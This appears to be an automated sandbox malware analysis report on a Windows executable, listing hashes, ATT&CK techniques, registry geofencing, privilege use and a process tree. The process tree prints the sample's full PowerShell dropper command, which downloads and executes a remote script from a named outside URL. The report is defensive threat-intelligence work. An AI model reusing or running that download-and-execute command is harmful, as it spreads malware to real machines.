2e8fb9fd2065203501a8eab1759bbf0d64b54f887827b9a6b5bf9fe02d95dc8c

Analysis

max time kernel
153s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
24/11/2022, 09:29

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General

Target

file.exe
Size

119KB
MD5

5ad4cb63866d6502bf51970f7fab4013
SHA1

06df9e6e396a6db1c85d4a95aa349bc8120e24ba
SHA256

2e8fb9fd2065203501a8eab1759bbf0d64b54f887827b9a6b5bf9fe02d95dc8c
SHA512

c5d978d3a46aed084fe0ff8e35954e72c34ac30a10ca6903b6983b57a13008a1dad23455dac1d56b1d87207fb052373060686bcf7a3b9c89e72c14601675352f
SSDEEP

3072:zclqrchvLHuvYlEOwqSnvcuz060HARqcpyDRD27H:zuqr09h2vc5NEH

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://thetechdevelopers.com/wp-content/config_20.ps1

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
73	4720	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	file.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4720	powershell.exe
4720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4720	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 740 wrote to memory of 3368	740	file.exe	88
PID 740 wrote to memory of 3368	740	file.exe	88
PID 3368 wrote to memory of 4720	3368	cmd.exe	90
PID 3368 wrote to memory of 4720	3368	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:740
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://thetechdevelopers.com/wp-content/config_20.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://thetechdevelopers.com/wp-content/config_20.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4720

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4720-134-0x000002DBFD1F0000-0x000002DBFD212000-memory.dmp

Filesize
136KB

Download
memory/4720-135-0x00007FFEC88D0000-0x00007FFEC9391000-memory.dmp

Filesize
10.8MB

Download
memory/4720-136-0x00007FFEC88D0000-0x00007FFEC9391000-memory.dmp

Filesize
10.8MB

Download